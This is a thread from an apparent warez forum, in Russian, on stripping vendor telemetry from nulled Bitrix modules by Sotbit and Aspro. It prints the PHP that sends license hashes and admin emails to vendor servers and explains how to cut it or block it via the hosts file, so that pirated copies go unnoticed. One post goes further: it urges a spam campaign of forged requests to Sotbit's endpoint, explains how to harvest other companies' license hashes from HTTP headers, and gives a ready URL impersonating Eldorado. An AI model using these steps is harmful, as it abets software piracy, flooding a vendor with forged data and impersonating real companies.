• DONATE to NULLED!
    Форуму и его команде можно помочь, мотивировать модераторов разделов.
    Помогите модератору этого раздела wpt лично.

Помощь Поиск и выявление "стучалок": Или о том как дудки вам дудки

mrLom

♒︎
Регистрация
24 Дек 2014
Сообщения
938
Реакции
1.936
Итак, тема давно назревала, в итоге я решил таки вынести ее в отдельную ветвь.
Правила простые: поменьше флуда, старайтесь писать по теме, что бы не мусорить в теме, просто лишний раз читайте внимательно где находятся подобные стучалки и не ленитесь пользоваться поиском по скриптам. Ищущий найдет.

Студия Сотбит с решениями sotbit.missshop и sotbit.mistershop:
sotbit.missshop/lang/ru/include.php
PHP:
$MESS['YANDEX']  = '<!-- Yandex.Metrika counter -->
<script type="text/javascript">
(function (d, w, c) {
    (w[c] = w[c] || []).push(function() {
        try {
            w.yaCounter22491013 = new Ya.Metrika({id:22491013,
                    webvisor:true,
                    clickmap:true,
                    trackLinks:true,
                    accurateTrackBounce:true});
        } catch(e) { }
    });
 
    var n = d.getElementsByTagName("script")[0],
        s = d.createElement("script"),
        f = function () { n.parentNode.insertBefore(s, n); };
    s.type = "text/javascript";
    s.async = true;
    s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js";

    if (w.opera == "[object Opera]") {
        d.addEventListener("DOMContentLoaded", f, false);
    } else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="//mc.yandex.ru/watch/22491013" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
';
$MESS['GOOGLE']  = "
<script type='text/javascript'>
  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-45850056-1']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();
</script>
";

Решение: вычистить содержимое в кавычках, либо сразу же заменить реквизиты счетчиков на свои.

Студия Аспро, замечено во всех решениях по аналогии:
Все непотребства находятся в /bitrix/modules/ а далее в соответствии с решением aspro.(mshop, kshop, ishop, tires, optimus и т.д., во всех решениях студии)
Учтите, путь тоже может меняться, поэтому пользоваться поиском никто не отменял!
В старых версиях:
/aspro.mshop/include.php
В новых версиях:
/aspro.mshop/classes/general/CMShop.php
вытаскиваю отдельные части кода:
PHP:
                $socket = fsockopen('bi.aspro.ru', 80, $errno, $errstr, 10);
  $data = json_encode(
  array(
  "client" => "aspro",
  "install_date" => date("Y-m-d H:i:s"),
  "solution_code" => self::moduleID,
  "ip" => $serverIP,
  "http_host" => $_SERVER["HTTP_HOST"],
  "bitrix_version" => SM_VERSION,
  "bitrix_edition" => $APPLICATION->ConvertCharset($edition, SITE_CHARSET, "utf-8"),
  "bitrix_key_hash" => md5(CUpdateClient::GetLicenseKey()),
  "site_name" => $APPLICATION->ConvertCharset(COption::GetOptionString("main", "site_name"), SITE_CHARSET, "utf-8"),
  "site_url" => $APPLICATION->ConvertCharset(COption::GetOptionString("main", "server_name"), SITE_CHARSET, "utf-8"),
  "email_default" => $APPLICATION->ConvertCharset(COption::GetOptionString("main", "email_from"), SITE_CHARSET, "utf-8"),
  "action" => $action,
  )
  );
  fwrite($socket, "POST /rest/bitrix/installs HTTP/1.1\r\n");
  fwrite($socket, "Host: bi.aspro.ru\r\n");
  fwrite($socket, "Content-type: application/x-www-form-urlencoded\r\n");
  fwrite($socket, "Content-length:".strlen($data)."\r\n");
  fwrite($socket, "Accept:*/*\r\n");
  fwrite($socket, "User-agent:Bitrix Installer\r\n");
  fwrite($socket, "Connection:Close\r\n");
  fwrite($socket, "\r\n");
  fwrite($socket, "$data\r\n");
  fwrite($socket, "\r\n");
  $answer = '';
  while(!feof($socket)){
  $answer.= fgets($socket, 4096);
  }
  fclose($socket);

/aspro.mshop/admin/mc.php
Фрагмент кода открывает фрейм сайта студии, а это вам знаете ли рефка:
PHP:
  <iframe src="https://aspro.ru/mc/?<?=$m?>"></iframe>
Благовидно, но сдаст вашу копию с потрохами.

Решение: Полностью удалить представленные части кода — формирование статистики в сокет и фрейм.
Либо заменить bi.aspro.ru на localhost — тем самым отправим статистику в никуда.

В разделе Black list - Жалоба на @mrLom 460$
 
Последнее редактирование модератором:
Думаю достаточно фрейм
PHP:
 <iframe src="https://aspro.ru/mc/?<?=$m?>"></iframe>
 
Хорошо. А подскажите, пожалуйста, если хостинг чистить, то в каком месте?
Мне не ясен ваш вопрос. Что значит хостинг чистить? Куда уж ясно написано, искать все встречающиеся aspro.ru заменять без условий на имя вашего домена. Все сокет соединения можно завернуть на locahost. В нашем случае bi.aspro.ru создает сокет. Остальные — http, https на ваш домен. В противном случае посетитель будет пытаться открыть какой-либо ресурс у себя локально. Не каждый антивирусник вынесет такую наглость.

Если у вас свой сервер — виртуальный или физический, не важно, и вы имеете к нему полный root — можно смело добавить в хосты bi.aspro.ru с адресом 127.0.0.1

UPD. Парни, давайте не будем превращать тему в длинный тред.
Предлагаю оставить тут лайфхаки, миминизирующие возможные последствия того, что ваш домен окажется в статистике серверов Битрикса и разработчиков решений, и сами стучалки.
А то тема быстро превратиться в 100 страничную тему как почистить аспро.
 
  • Нравится
Реакции: wpt
Все непотребства находятся в /bitrix/modules/ а далее в соответствии с решением aspro.(mshop, kshop, ishop, tires, optimus и т.д., во всех решениях студии)
В старых версиях:
/aspro.mshop/include.php
В новых версиях:
/aspro.mshop/classes/general/CMShop.php
Учтите, путь тоже может меняться, поэтому пользоваться поиском никто не отменял!

За ромзой случаем шпиёнских выходок найдено не было? :)
У Ромзы не замечал, но это тоже не факт.

Исправил в шапке. Ветку чищу!
 
Последнее редактирование:
К слову, в самом начале я даже не заметил — у Сотбит оказывается еще пара пасхалочек припасены в рукаве:
Думаю, это не единственное решение, а так или иначе в подобном сборе статистики принимают участие все их решения.
Возьмем для разбора дельту: sns.tools1c.3.6.22.delta.upd
BITRIX44 2285|/sns.tools1c/updater3.6.22.php|c6d7e14b

Коментарий:
В момент установки решения распаковывается управляющий скрипт updater3.6.22.php, а там есть фрагмент кода:
PHP:
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/update_client_partner.php");
$arInfoSotbit = array();
$arInfoSotbit['key'] = md5("BITRIX".CUpdateClientPartner::GetLicenseKey()."LICENCE");
//получим почту
$email_admin = COption::GetOptionString('main','email_from') ;
function izvlech_pochtovii_adresa($stroka) {
  preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $stroka, $resultati);
  return $resultati[0];
}
$arr_email_admin = izvlech_pochtovii_adresa($email_admin);
$arInfoSotbit['email'] = implode(", ", $arr_email_admin);
//модуль
$arInfoSotbit['module'] = 'sns.tools1c';
$postdata = http_build_query($arInfoSotbit);
//сделаем запрос
$Response = QueryGetData(
  'www.sotbit.ru',
  80, 
  '/bitrix/admin/sotbit_client_modules_request.php?', 
  $postdata, 
  $error_number = 0, 
  $error_text = '', 
  'GET' 
);

// 
// Sample database update 
// 
 
 
if($updater->CanUpdateDatabase())
{
  if($updater->TableExists("b_iblock_element_property"))
  {
  if(!$DB->IndexExists("b_iblock_element_property", array("VALUE_NUM", "IBLOCK_PROPERTY_ID")))
  {
  $updater->Query(array(
  "MySQL" => "CREATE INDEX ix_iblock_element_prop_num ON b_iblock_element_property(VALUE_NUM, IBLOCK_PROPERTY_ID)",
  "MSSQL" => "CREATE INDEX IX_B_IBLOCK_ELEMENT_PROPERTY_4 ON B_IBLOCK_ELEMENT_PROPERTY(VALUE_NUM, IBLOCK_PROPERTY_ID)",
  "Oracle" => "CREATE INDEX IX_IBLOCK_ELEMENT_PROP_NUM ON B_IBLOCK_ELEMENT_PROPERTY(VALUE_NUM, IBLOCK_PROPERTY_ID)",
  ));
  }
  }
  if($updater->TableExists("b_iblock_property"))
  {
  if(!$DB->IndexExists("b_iblock_property", array("UPPER(\"CODE\")")))
  {
  $updater->Query(array(
  "Oracle" => "CREATE INDEX ix_iblock_property_2 ON B_IBLOCK_PROPERTY(UPPER(CODE))",
  ));
  }
  }
}
С его помощью одноразово открывается сокет на сайт sotbit.ru и передает статистику в виде хэша вашей лицензии, массива электронной почты и устанавливаемый модуль.
После установки решения вы даже не найдете этого кода в решении. Однако, хитро придумано.
Как видно из кода, апдейтер не только занимается сбором статистики, но и производит полезную работу в виде обновления свойств базы данных, поэтому лишний раз напоминаю о пользе использования дельт.

Решение:
т.к. фрагмент кода собирающий статистику работает в качестве сокета, то достаточно будет внести в hosts имя хоста студии как локальный
Код:
www.sotbit.ru  127.0.0.1
— статистика упадет в логи вашего сервера. Не важно, каким будет устанавливаемое решение от данной студии — работает универсально.

Если же у вас шаред хостинг, то тут увы, вы запалитесь как новогодняя ель. Для подобных случаев есть не самое изящное, но решение: ставить у себя дома на изолированной виртуалке из резервной копии, а далее переносить на хостинг.
 
Решил тут распнуть дельту sotbit.postcalc.2.5.7.delta.upd, а это кстати просто обновление и назовем его — троянский конь. Единственное полезное действие которого, только замена версии на единицу выше, а все содержимое дельты создано только к сбору статистики, смотрите сами:
PHP:
BITRIX47   1468|/sotbit.postcalc/updater2.5.7.php|49693711<?
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/update_client_partner.php");
$arInfoSotbit = array();
//модуль
$arInfoSotbit['module'] = 'sotbit.postcalc';
//ключ
$arInfoSotbit['key'] = md5("BITRIX".CUpdateClientPartner::GetLicenseKey()."LICENCE");
//почта
$email_admin = COption::GetOptionString('main','email_from') ;
function izvlech_pochtovii_adresa($stroka) {
  preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $stroka, $resultati);
  return $resultati[0];
}
$arr_email_admin = izvlech_pochtovii_adresa($email_admin);
$arInfoSotbit['email'] = implode(", ", $arr_email_admin);
//сайт
if($_SERVER['SERVER_NAME']){
    $arInfoSotbit['host'] = $_SERVER['SERVER_NAME'];
}
elseif($_SERVER['HTTP_HOST']){
    $arInfoSotbit['host'] = $_SERVER['HTTP_HOST'];
}
//дата продления битрикс
$arUpdateList = CUpdateClientPartner::GetUpdatesList();
$arInfoSotbit['bitrix_name'] = $arUpdateList["CLIENT"][0]["@"]["NAME"];
$arInfoSotbit['bitrix_date_from'] = $arUpdateList["CLIENT"][0]["@"]["DATE_FROM"];
$arInfoSotbit['bitrix_date_to'] = $arUpdateList["CLIENT"][0]["@"]["DATE_TO"];
$postdata = http_build_query($arInfoSotbit);
//сделаем запрос
$Response = QueryGetData(
    'www.sotbit.ru',
    80,
    '/bitrix/admin/sotbit_client_modules_request.php?',
    $postdata,
    $error_number = 0,
    $error_text = '',
    'GET'
);
?>48   98|/sotbit.postcalc/install/version.php|51f49783<?
$arModuleVersion = array(
        "VERSION" => "2.5.7",
        "VERSION_DATE" => "2016-10-19 12:37:01"
);
?>RTIBE

К слову, парни помимо сбора хешей лицензий с почтой, просто тупо добавили дату продления Битрикс bitrix_name, bitrix_date_from, bitrix_date_to
Начнет у вас подходить к окончанию лицензирование Битрикс, если конечно же имеется таковая — полетят письма счастья, посыпяться звонки, что пора бы это дело продлить! В общем, сбор персональных данных в действии.
Так что призываю к аккуратности использования их решений.

UPD: А хотите поправить свои данные прямо у них в базе?
У себя в админке в командной строке PHP выполняете код:
PHP:
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/update_client_partner.php");
$arInfoSotbit = array();
//модуль
$arInfoSotbit['module'] = 'sotbit.postcalc';
//ключ
$arInfoSotbit['key'] = md5("BITRIX".CUpdateClientPartner::GetLicenseKey()."LICENCE");
//почта
$email_admin = COption::GetOptionString('main','email_from') ;
function izvlech_pochtovii_adresa($stroka) {
  preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $stroka, $resultati);
  return $resultati[0];
}
$arr_email_admin = izvlech_pochtovii_adresa($email_admin);
$arInfoSotbit['email'] = implode(", ", $arr_email_admin);
//сайт
if($_SERVER['SERVER_NAME']){
    $arInfoSotbit['host'] = $_SERVER['SERVER_NAME'];
}
elseif($_SERVER['HTTP_HOST']){
    $arInfoSotbit['host'] = $_SERVER['HTTP_HOST'];
}
//дата продления битрикс
$arUpdateList = CUpdateClientPartner::GetUpdatesList();
$arInfoSotbit['bitrix_name'] = $arUpdateList["CLIENT"][0]["@"]["NAME"];
$arInfoSotbit['bitrix_date_from'] = $arUpdateList["CLIENT"][0]["@"]["DATE_FROM"];
$arInfoSotbit['bitrix_date_to'] = $arUpdateList["CLIENT"][0]["@"]["DATE_TO"];
$postdata = http_build_query($arInfoSotbit);
echo $postdata;
Получаете приблизительно вот такую строку вида с вашим хешем лицензии:
Код:
module=sotbit.postcalc&key=48341fc3dfe546679ed9856a28fba1c8&email=support%40sotbit.ru&host=sotbit.ru&bitrix_name=пишете_какую-нибудь_гадость&bitrix_date_from=01.01.2001&bitrix_date_to=01.01.2030
При желании заменяете адреса почты, сайта, фамилию имя.
А для большей зависти, указываете какую-нибудь дату действия лицензии повыше.

А дальше, к началу полученной строке добавляем это:
Код:
www.sotbit.ru/bitrix/admin/sotbit_client_modules_request.php?

Думается мне, можно устроить офигенный спам-флешмоб!

Хэшей лицензий можно даже насобирать в интернете при помощи дополнительного модуля в FF — Life HTTP headers
Получив хидеры — к примеру вот хидер Эльдорадо: X-Powered-CMS: Bitrix Site Manager (bd2bc670613cc293d44a342b1defd81a) ← а это их хэш лицензии

А дальше сказать Сотбиту, что на сайтах крупных игроков, таких как Эльдорадо, Хофф, госдума и т.д. искать Для просмотра ссылки Войди или Зарегистрируйся — стоят их решения, желательно которые подороже — shs.parser sotbit.mistershop sotbit.missshop

Давайте же удивим парней!
Ну и пример — ставим в Эльдорадо Мистер Шоп, а лицензию закончим завтра
Код:
www.sotbit.ru/bitrix/admin/sotbit_client_modules_request.php?module=sotbit.mistershop&key=bd2bc670613cc293d44a342b1defd81a&email=support%40eldorado.ru&host=www.eldorado.ru&bitrix_name=Сергей Рыжиков&bitrix_date_from=19.11.2010&bitrix_date_to=19.11.2016
 
Последнее редактирование:
На 7-м вэб окружении добавление доменов разработчика в файл hosts не дает эффекта. Если пинговать - пингуется локалхост, но из админки сайта (в частности панель управления решения) открывается. Что делаю не так?
 
Есть два вида стучалок. Первый вид открывается в качестве сокета при помощи скриптов, второй вид, это открытие сайтов разработчиков во фреймах. В первом случае запрос проходит при помощи DNS запроса вашего сервера, во втором — при помощи вашего компьютера.

Решается почти точно так же — добавлением в ваш локальный hosts всех перечисленных блокируемых ресурсов, но в этом случае вы больше не сможете попасть на сайт к разработчикам. Разве что только через ТОР сети.
 
добавлением в ваш локальный hosts всех перечисленных блокируемых ресурсов, но в этом случае вы больше не сможете попасть на сайт к разработчикам.
Сможет если временно включит в браузере прокси - в таком случае разрешением имен занимается сервер прокси.
 
Немножко резюмирую свой вопрос - если во фрейме сайт открывается - причины всего две? (1 - внесение адреса в hosts и 2 - правильность вносимого адреса)
В centos 6.7 отрабатывала блокировка, в centos 7 нет. Не могу понять куда смотреть
 
Назад
Сверху